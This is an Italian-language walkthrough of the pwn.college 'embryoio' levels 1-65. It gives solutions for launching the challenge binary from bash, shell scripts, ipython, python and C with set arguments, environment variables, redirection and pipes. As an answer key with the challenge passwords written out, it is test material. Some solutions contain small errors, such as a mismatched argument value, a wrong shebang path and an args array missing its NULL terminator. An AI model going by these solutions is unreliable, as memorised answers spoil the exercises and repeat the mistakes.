

PROCESSI (Embryoio)

Nota: per alcuni esercizi (generalmente i primi 20-30) embryoio gli argomenti del terminale messi automaticamente da VS Code potrebbero creare errori. Per evitarli, prima di qualsiasi cosa eseguire **exec bash** nel terminale così da avere un bash pulito. Per eseguire le challenge dunque il processo dovrebbe essere:

```
exec bash /challenge/embryoio_level*
```

1

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash

SOLUZIONE:

- 1) Esegui `/challenge/embryoio_level1` e la flag viene già data

2

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge will check for a hardcoded password over stdin : nrtkvcxr

SOLUZIONE: 1) Esegui `/challenge/embryoio_level2` e viene chiesto di inserire manualmente una password che viene data (in questo caso **nrtkvcxr**).

- 2) Soluzione diretta: `echo "nrtkvcxr" | /challenge/embryoio_level2`

3

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge will check that `argv[NUM]` holds value `VALUE` (listed to the right as `NUM:VALUE`) : 1:utrwexthvp

SOLUZIONE:

- 1) Bisogna eseguire l'eseguibile con la password che viene fornita come argomento da riga di comando: `/challenge/embryoio_level3 utrwexthvp`

4

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge will check that `env[KEY]` holds value `VALUE` (listed to the right as `KEY:VALUE`) : ocpvdc:eulsfkldvb

SOLUZIONE:

- 1) Rendi i valori dati una variabile d'ambiente con `export ocpvdc=eulsfkldvb`
- 2) Esegui l'eseguibile normalmente `/challenge/embryoio_level4`

5

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : `bash` - the challenge will check that input is redirected from a specific file path : `/tmp/jekjwz` - the challenge will check for a hardcoded password over `stdin` : `wylocjms`

SOLUZIONE:

- 1) Creo il file e ci inserisco la password: `echo "wylocjms" > /tmp/jekjwz`
- 2) Eseguo mandando in input il file creato: `/challenge/embryoio_level5 < /tmp/jekjwz`

6

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : `bash` - the challenge will check that output is redirected to a specific file path : `/tmp/xprfia`

SOLUZIONE:

- 1) Eseguo redirezionando l'output al file richiesto: `/challenge/embryoio_level6 > /tmp/xprfia`
- 2) Stampo il file: `cat /tmp/xprfia`

7

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : `bash` - the challenge will check that the environment is empty (except `LC_CTYPE`, which is impossible to get rid of in some cases)

SOLUZIONE:

- 1) Esegui con `env -i /challenge/embryoio_level7`

8

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : `shellsript`

SOLUZIONE:

- 1) Crea il file `script.sh`:

```
#!/bin/bash
```

```
/challenge/embryoio_level* "$@"
```

- 2) Esegui con il percorso dove lo hai salvato `/home/hacker/Desktop/script.sh`

9

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check for a hardcoded password over stdin : kpmozkzx

SOLUZIONE:

- 1) Manda la password come standard input: `echo "kpmozkzx" | /home/hacker/Desktop/script.sh`

10

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 1:zbzmaqopdr

SOLUZIONE:

- 1) Per non "sporcare" `script.sh` che potrebbe essere utile successivamente, creo `script2.sh`:

```
#!/bin/bash
```

```
/challenge/embryoio_level10 zbzmaqopdr
```

- 2) Esegui con il percorso dove lo hai salvato `/home/hacker/Desktop/script2.sh`

11

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that env[KEY] holds value VALUE (listed to the right as KEY:VALUE) : bcarr:knixxoqfpi

SOLUZIONE:

- 1) Rendi i valori dati una variabile d'ambiente con `export bcarr=knixxoqfpi`
- 2) Esegui l'eseguibile normalmente (come shellscrip) `/home/hacker/Desktop/script.sh`

12

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that input is redirected from a specific file path : /tmp/fuaakn - the challenge will check for a hardcoded password over stdin : koqnzypa

SOLUZIONE:

- 1) Creo il file e ci inserisco la password: `echo "koqnzypa" > /tmp/fuaakn`
- 2) Eseguo mandando in input il file creato: `/home/hacker/Desktop/script.sh < /tmp/fuaakn`

13

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that output is redirected to a specific file path : /tmp/umcqp

SOLUZIONE:

- 1) Eseguo redirezionando l'output al file richiesto: `/home/hacker/Desktop/script.sh > /tmp/umcqp`
- 2) Stampo il file: `cat /tmp/umcqp`

14

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that the environment is empty (except LC_CTYPE, which is impossible to get rid of in some cases)

SOLUZIONE:

- 1) Modifico `script2.sh`:

```
#!/bin/bash
```

```
env -i /challenge/embryoio_level* "$@"
```

- 2) Esegui `/home/hacker/Desktop/script2.sh`

15

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython

SOLUZIONE:

- 1) Entra in ipython `ipython`

2) Invia:

```
import subprocess
p = subprocess.Popen(["/challenge/embryoio_level15"])
```

16

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge will check for a hardcoded password over stdin : momdoqba

SOLUZIONE:

1) Entra in ipython ipython

2) Invia:

```
import subprocess
p = subprocess.Popen(["/challenge/embryoio_level16"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)

out, _ = p.communicate("momdoqba\n")
print(out)
```

17

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge will check that argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 1:aeqsidferf

SOLUZIONE:

1) Entra in ipython ipython

2) Invia:

```
import subprocess
subprocess.run(["/challenge/embryoio_level17", "aeqsidferf"])
```

18

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge will check that env[KEY] holds value VALUE (listed to the right as KEY:VALUE) : cjewri:vzkvteuinc

SOLUZIONE:

1) Setta la variable d'ambiente: `export cjewri=vzkvteuinc`

2) Entra in ipython ipython

3) Invia:

```
import subprocess
subprocess.run(["/challenge/embryoio_level18"])
```

19

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge will check that input is redirected from a specific file path : /tmp/lyyues - the challenge will check for a hardcoded password over stdin : tykxvxf

SOLUZIONE:

- 1) Inserisci la password nel file: `echo "tykxvxf" > /tmp/lyyues`
- 2) Entra in ipython `ipython`
- 3) Invia:

```
import subprocess
file = open("/tmp/lyyues", "r")
subprocess.run(["/challenge/embryoio_level19"],stdin=file)
```

20

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge will check that output is redirected to a specific file path : /tmp/rcleot

SOLUZIONE:

- 1) Entra in ipython `ipython`
- 2) Invia:

```
import subprocess
file = open("/tmp/rcleot", "w")
subprocess.run(["/challenge/embryoio_level20"],stdout=file)
```

- 3) Leggi il file: `cat /tmp/rcleot`

21

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge will check that the environment is empty (except LC_CTYPE, which is impossible to get rid of in some cases)

SOLUZIONE:

- 1) Entra in ipython `ipython`
- 2) Invia:

```
import subprocess
subprocess.run("/challenge/embryoio_level21", env={})
```

22

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python

SOLUZIONE:

- 1) Creo il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
subprocess.run("/challenge/embryoio_level22")
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`

23

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check for a hardcoded password over stdin : `zzlnsgzc`

SOLUZIONE:

- 1) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
subprocess.run("/challenge/embryoio_level23")
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`
- 3) Invia la password: `zzlnsgzc`

24

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that `argv[NUM]` holds value `VALUE` (listed to the right as `NUM:VALUE`) : `1:kferhcrdqk`

SOLUZIONE:

- 1) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
subprocess.run(["/challenge/embryoio_level24","kfcrhcrdqk"])
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`

25

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that `env[KEY]` holds value VALUE (listed to the right as KEY:VALUE) : `qjquoo:mraupvrrci`

SOLUZIONE:

- 1) Esporto la variabile d'ambiente: `export qjquoo=mraupvrrci`
- 2) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
subprocess.run("/challenge/embryoio_level25")
```

- 3) Eseguo con `python3 /home/hacker/Desktop/script.py`

26

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that input is redirected from a specific file path : `/tmp/krfelo` - the challenge will check for a hardcoded password over stdin : `wxzmmdf`

SOLUZIONE:

- 1) Inserisci la password nel file: `echo "wxzmmdf" > /tmp/krfelo`
- 2) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
file = open("/tmp/krfelo", "r")
subprocess.run(["/challenge/embryoio_level26"],stdin=file)
```

- 3) Eseguo con `python3 /home/hacker/Desktop/script.py`

27

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that output is redirected to a specific file path : `/tmp/khkdjq`

SOLUZIONE:

- 1) Inserisci la password nel file: `echo "wxzmmmdf" > /tmp/krfelo`
- 2) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
file = open("/tmp/khkdjq", "w")
subprocess.run(["/challenge/embryoio_level27"], stdout=file)
```

- 3) Eseguo con `python3 /home/hacker/Desktop/script.py`
- 4) Leggi il file: `cat /tmp/khkdjq`

28

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that the environment is empty (except LC_CTYPE, which is impossible to get rid of in some cases)

SOLUZIONE:

- 1) Modifico il file `script.py`

```
#!/user/bin/python
```

```
from pwn import *
p = process('/challenge/embryoio_level28', env={})
p.interactive()
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`

29

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary

SOLUZIONE:

- 1) Creo il file `script.c`

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(){
    pid_t pid = fork();
```

```

        if(pid == 0){
            execlp("/challenge/embryoio_level29", "/challenge/embryoio_level29", NULL);
        }else wait(NULL);
    }

    int main(){
        pwncollege();
        exit(0);
    }

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

30

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check for a hardcoded password over stdin : gneipzst

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stddef.h>

void pwncollege () {

    if (fork()==0){
        char *args[] = {"/challenge/embryoio_level30", NULL};
        execve("/challenge/embryoio_level30", args, NULL);
    }else wait(NULL);
}

int main(){
    pwncollege();
}

```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

3) Invia la password: `gneipzst`

31

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that

argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 1:pnszaovutr

SOLUZIONE:

1) Modifico il file `script.c`

```
#include <stddef.h>

void pwncollege () {

    if (fork()==0){
        char *args[] = {"/challenge/embryoio_level31","pnszaovutr"};
        execve("/challenge/embryoio_level31", args, NULL);
    }else wait(NULL);
}

int main(){
    pwncollege();
}
```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

32

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that env[KEY] holds value VALUE (listed to the right as KEY:VALUE) : bpuhsf:qkbswdgcat

SOLUZIONE:

1) Modifico il file `script.c`

```
#include <stddef.h>

void pwncollege(){

    if (fork()==0){
        char *args[] = {"/challenge/embryoio_level32", NULL};
        char *env[] = {"bpuhsf=qkbswdgcat"};
        execve("/challenge/embryoio_level32", args, env);
    }else wait(NULL);
}

int main(){
```

```
    pwncollege();
}
```

3) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

33

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that input is redirected from a specific file path : /tmp/abvqxj - the challenge will check for a hardcoded password over stdin : bvavcsxv

SOLUZIONE:

1) Inserisci la password nel file: `echo "bvavcsxv" > /tmp/abvqxj`

2) Modifico il file `script.c`

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

void pwncollege(char** argv, char** envp){
    pid_t pid = fork();

    if(pid == 0){
        char *path = "/challenge/embryoio_level33";
        execve(path,argv,envp);
    }else wait(NULL);
}

int main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
    exit(0);
}
```

3) Eseguo con (facendo la redirectione dal file)

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege < /tmp/abvqxj
```

34

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that output is redirected to a specific file path : /tmp/vugval

SOLUZIONE:

- 1) Modifico il file `script.c`

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

void pwncollege(char** argv, char** envp){
    pid_t pid = fork();

    if(pid == 0){
        char *path = "/challenge/embryoio_level34";
        execve(path,argv,envp);
    }else wait(NULL);
}

int main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
    exit(0);
}
```

- 2) Eseguo con (facendo la redirectione al file)

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege > /tmp/vugval
```

- 3) Leggi il file: `cat /tmp/vugval`

35

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that the environment is empty (except `LC_CTYPE`, which is impossible to get rid of in some cases)

SOLUZIONE:

- 1) Modifico il file `script.c`

```
#include <stddef.h>

void pwncollege(){

    if (fork()==0){
        char *args[] = {"/challenge/embryoio_level35", NULL};
        execve("/challenge/embryoio_level35", args, NULL);
    }else wait(NULL);

}

int main(){
    pwncollege();
}
```

2) Eseguo con (eseguendo in ambiente pulito)

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
env -i /home/hacker/Desktop/pwncollege
```

36

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge checks for a specific process at the other end of stdout : cat

SOLUZIONE:

1) Eseguo mettendo cat in pipe: /challenge/embryoio_level36 | cat

37

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge checks for a specific process at the other end of stdout : grep

SOLUZIONE:

1) Eseguo mettendo grep in pipe: /challenge/embryoio_level37 | grep ""

38

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge checks for a specific process at the other end of stdout : sed

SOLUZIONE:

1) Eseguo mettendo sed in pipe: /challenge/embryoio_level38 | sed ""

39

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge checks for a specific process at the other end of stdout : rev

SOLUZIONE:

- 1) Eseguo mettendo due **rev** in pipe (che si annullano): `/challenge/embryoio_level39 | rev | rev`

40

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge checks for a specific process at the other end of stdin : cat - the challenge will check for a hardcoded password over stdin : uuhxwwpc

SOLUZIONE:

- 1) Eseguo mettendo **cat** in pipe: `cat | /challenge/embryoio_level40`
- 2) Invio la password: **uuhxwwpc**

41

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : bash - the challenge checks for a specific process at the other end of stdin : rev - the challenge will check for a hardcoded password over stdin : wvsykkdl

SOLUZIONE:

- 1) Eseguo mettendo due **rev** in pipe: `rev | rev | /challenge/embryoio_level41`
- 2) Invio la password: **wvsykkdl**
- 3) Termino con **CRTL + D**
- 4) Soluzione alternativa (esecuzione diretta): `(printf 'wvsykkdl'; sleep 1) | rev | rev | /challenge/embryoio_level41`

42

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge checks for a specific process at the other end of stdout : cat

SOLUZIONE:

- 1) Come es. 36 ma con **script.sh**: `/home/hacker/Desktop/script.sh | cat`

43

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge checks for a specific process at the other end of stdout : grep

SOLUZIONE:

- 1) Come es. 37 ma con `script.sh: /home/hacker/Desktop/script.sh | grep ""`

44

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge checks for a specific process at the other end of stdout : sed

SOLUZIONE:

- 1) Come es. 38 ma con `script.sh: /home/hacker/Desktop/script.sh | sed ""`

45

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge checks for a specific process at the other end of stdout : rev

SOLUZIONE:

- 1) Come es. 39 ma con `script.sh: /home/hacker/Desktop/script.sh | rev | rev`

46

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge checks for a specific process at the other end of stdin : cat - the challenge will check for a hardcoded password over stdin : cqizkjlf

SOLUZIONE:

- 1) Come es. 40 ma con `script.sh: cat | /home/hacker/Desktop/script.sh`
- 2) Invio la password: `cqizkjlf`

47

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge checks for a

specific process at the other end of stdin : rev - the challenge will check for a hardcoded password over stdin : gfvxvtpa

SOLUZIONE:

- 1) Come es. 41 ma con `script.sh: rev | rev | /home/hacker/Desktop/script.sh`
- 2) Invio la password: `gfvxvtpa`
- 3) Termino con CTRL + D
- 4) Soluzione alternativa (esecuzione diretta): `(printf 'gfvxvtpa'; sleep 1) | rev | rev | /home/hacker/Desktop/script.sh`

48

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge checks for a specific process at the other end of stdout : cat

SOLUZIONE:

- 1) Entra in ipython `ipython`
- 2) Invia:

```
import subprocess
p1 = subprocess.Popen(["/challenge/embryoio_level48"], stdout=subprocess.PIPE)
subprocess.run(["cat"], stdin=p1.stdout)
```

49

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge checks for a specific process at the other end of stdout : grep

SOLUZIONE:

- 1) Entra in ipython `ipython`
- 2) Invia:

```
import subprocess
from shlex import split
p1 = subprocess.Popen(["/challenge/embryoio_level49"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(split("grep pwn"), stdin=p1.stdout)
```

50

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge checks for a specific process at the other end of stdout : sed

SOLUZIONE:

- 1) Entra in ipython `ipython`
- 2) Invia:

```
import subprocess
from shlex import split
p1 = subprocess.Popen(["/challenge/embryoio_level50"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(split("sed 's/pwn/pwn/g'"), stdin=p1.stdout)
```

51

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge checks for a specific process at the other end of stdout : rev

SOLUZIONE:

- 1) Entra in ipython `ipython`
- 2) Invia:

```
import subprocess
p1 = subprocess.Popen(["/challenge/embryoio_level51"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["rev"], stdin=p1.stdout, stdout=subprocess.PIPE)
subprocess.run(["rev"], stdin=p2.stdout)
```

52

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge checks for a specific process at the other end of stdin : cat - the challenge will check for a hardcoded password over stdin : wspivncc

SOLUZIONE:

- 1) Entra in ipython `ipython`
- 2) Invia:

```
import subprocess
p1 = subprocess.Popen(["cat"], stdout=subprocess.PIPE)
p2 = subprocess.run(["/challenge/embryoio_level52"], stdin=p1.stdout)
p1.stdout.close()
```

- 3) Invio la password: `wspivncc`

53

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : ipython - the challenge checks for a specific

process at the other end of stdin : rev - the challenge will check for a hardcoded password over stdin : nbdvfgzm

SOLUZIONE:

- 1) Entra in ipython `ipython`
- 2) Invia:

```
import subprocess
p1 = subprocess.Popen(["rev"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["rev"], stdout=subprocess.PIPE, stdin=p1.stdout)
p3 = subprocess.run(["/challenge/embryoio_level53"], stdin=p2.stdout)
p1.stdout.close()
p2.stdout.close()
```

- 3) Invio la password: `nbdvfgzm`
- 4) Termino con CTRL + D

54

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge checks for a specific process at the other end of stdout : cat

SOLUZIONE:

- 1) Come es. 48 ma modificando `script.py`

```
#!/user/bin/python
```

```
import subprocess
p1 = subprocess.Popen(["/challenge/embryoio_level54"], stdout=subprocess.PIPE)
subprocess.run(["cat"], stdin=p1.stdout)
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`

55

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge checks for a specific process at the other end of stdout : grep

SOLUZIONE:

- 1) Come es. 49 ma modificando `script.py`

```
#!/user/bin/python
```

```
import subprocess
from shlex import split
```

```
p1 = subprocess.Popen(["/challenge/embryoio_level55"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(split("grep pwn"), stdin=p1.stdout)
p2.wait()
```

2) Eseguo con python3 /home/hacker/Desktop/script.py

56

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge checks for a specific process at the other end of stdout : sed

SOLUZIONE:

1) Come es. 50 ma modificando script.py

```
#!/user/bin/python
```

```
import subprocess
from shlex import split
p1 = subprocess.Popen(["/challenge/embryoio_level56"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(split("sed 's/pwn/pwn/g'"), stdin=p1.stdout)
p2.wait()
```

2) Eseguo con python3 /home/hacker/Desktop/script.py

57

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge checks for a specific process at the other end of stdout : rev

SOLUZIONE:

1) Come es. 51 ma modificando script.py

```
#!/user/bin/python
```

```
import subprocess
p1 = subprocess.Popen(["/challenge/embryoio_level57"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["rev"], stdin=p1.stdout, stdout=subprocess.PIPE)
subprocess.run(["rev"], stdin=p2.stdout)
```

2) Eseguo con python3 /home/hacker/Desktop/script.py

58

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge checks for a specific process at the other end of stdin : cat - the challenge will check for a hardcoded password over stdin : rvdvfsc

SOLUZIONE:

- 1) Come es. 52 ma modificando `script.py`

```
#!/user/bin/python
```

```
import subprocess
p1 = subprocess.Popen(["cat"], stdout=subprocess.PIPE)
p2 = subprocess.run(["/challenge/embryoio_level58"],stdin=p1.stdout)
p1.stdout.close()
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`
- 3) Invio la password: `rvdvfscc`

59

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : `python` - the challenge checks for a specific process at the other end of `stdin` : `rev` - the challenge will check for a hardcoded password over `stdin` : `awbjdnel`

SOLUZIONE:

- 1) Come es. 53 ma modificando `script.py`

```
#!/user/bin/python
```

```
import subprocess
p1 = subprocess.Popen(["rev"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["rev"], stdout=subprocess.PIPE,stdin=p1.stdout)
p3 = subprocess.run(["/challenge/embryoio_level59"],stdin=p2.stdout)
p1.stdout.close()
p2.stdout.close()
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`
- 3) Invio la password: `awbjdnel`
- 4) Termino con `CRTL + D`

60

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : `binary` - the challenge checks for a specific process at the other end of `stdout` : `cat`

SOLUZIONE:

- 1) Modifico il file `script.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(){}

int main(){
    int fd[2];
    pipe(fd);

    if(fork() == 0){
        dup2(fd[1], 1);
        close(fd[0]);
        execlp("/challenge/embryoio_level60", "/challenge/embryoio_level60", NULL);
    }

    if(fork() == 0){
        dup2(fd[0], 0);
        close(fd[1]);
        execlp("cat", "cat", NULL);
    }

    close(fd[0]);
    close(fd[1]);
    wait(NULL);
    wait(NULL);
    exit(0);
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

61

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge checks for a specific process at the other end of stdout : grep

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

```

```

#include <sys/wait.h>

void pwncollege(){}

int main(){
    int fd[2];
    pipe(fd);

    if(fork() == 0){
        dup2(fd[1], 1);
        close(fd[0]);
        execlp("/challenge/embryoio_level61", "/challenge/embryoio_level61", NULL);
    }

    if(fork() == 0){
        dup2(fd[0], 0);
        close(fd[1]);
        execlp("grep", "grep", "", NULL);
    }

    close(fd[0]);
    close(fd[1]);
    wait(NULL);
    wait(NULL);
    exit(0);
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

62

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge checks for a specific process at the other end of stdout : sed

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(){}

```

```

int main(){
    int fd[2];
    pipe(fd);

    if(fork() == 0){
        dup2(fd[1], 1);
        close(fd[0]);
        execlp("/challenge/embryoio_level62", "/challenge/embryoio_level62", NULL);
    }

    if(fork() == 0){
        dup2(fd[0], 0);
        close(fd[1]);
        execlp("sed", "sed", "", NULL);
    }

    close(fd[0]);
    close(fd[1]);
    wait(NULL);
    wait(NULL);
    exit(0);
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

63

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge checks for a specific process at the other end of stdout : rev

SOLUZIONE:

1) Modifico il file `script.c`

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

```

```

void pwncollege(){
}

```

```

int main(){
    int fd1[2];

```

```

int fd2[2];
pipe(fd1);
pipe(fd2);

if(fork() == 0){
    dup2(fd1[1], 1);
    close(fd1[0]);
    close(fd2[0]);
    close(fd2[1]);
    execlp("/challenge/embryoio_level63", "/challenge/embryoio_level63", NULL);
}

if(fork() == 0){
    dup2(fd1[0], 0);
    dup2(fd2[1], 1);
    close(fd1[1]);
    close(fd2[0]);
    execlp("rev", "rev", NULL);
}

if(fork() == 0){
    dup2(fd2[0], 0);
    close(fd1[0]);
    close(fd1[1]);
    close(fd2[1]);
    execlp("rev", "rev", NULL);
}

close(fd1[0]);
close(fd1[1]);
close(fd2[0]);
close(fd2[1]);
wait(NULL);
wait(NULL);
wait(NULL);
}

```

2) Eseguo con

```

gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege

```

64

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge checks for a specific

process at the other end of stdin : cat - the challenge will check for a hardcoded password over stdin : rsczcige

SOLUZIONE:

1) Modifico il file `script.c`

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(){}

int main(){
    int fd[2];
    pipe(fd);

    if(fork() == 0){
        dup2(fd[1], 1);
        close(fd[0]);
        execlp("cat", "cat", NULL);
    }

    if(fork() == 0){
        dup2(fd[0], 0);
        close(fd[1]);
        execlp("/challenge/embryoio_level64", "/challenge/embryoio_level64", NULL);
    }

    close(fd[0]);
    close(fd[1]);
    wait(NULL);
    wait(NULL);
    exit(0);
}
```

3) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

3) Invio la password: rsczcige

65

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge checks for a specific

process at the other end of stdin : rev - the challenge will check for a hardcoded password over stdin : dyqztbfx

SOLUZIONE:

1) Modifico il file `script.c`

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(){}

int main(){
    int fd1[2];
    int fd2[2];
    pipe(fd1);
    pipe(fd2);

    if(fork() == 0){
        dup2(fd1[1], 1);
        close(fd1[0]);
        close(fd2[0]);
        close(fd2[1]);
        execlp("rev", "rev", NULL);
    }

    if(fork() == 0){
        dup2(fd1[0], 0);
        dup2(fd2[1], 1);
        close(fd1[1]);
        close(fd2[0]);
        execlp("rev", "rev", NULL);
    }

    if(fork() == 0){
        dup2(fd2[0], 0);
        close(fd1[0]);
        close(fd1[1]);
        close(fd2[1]);
        execlp("/challenge/embryoio_level65", "/challenge/embryoio_level65", NULL);
    }

    close(fd1[0]);
    close(fd1[1]);
```

```

        close(fd2[0]);
        close(fd2[1]);
        wait(NULL);
        wait(NULL);
        wait(NULL);
    }

```

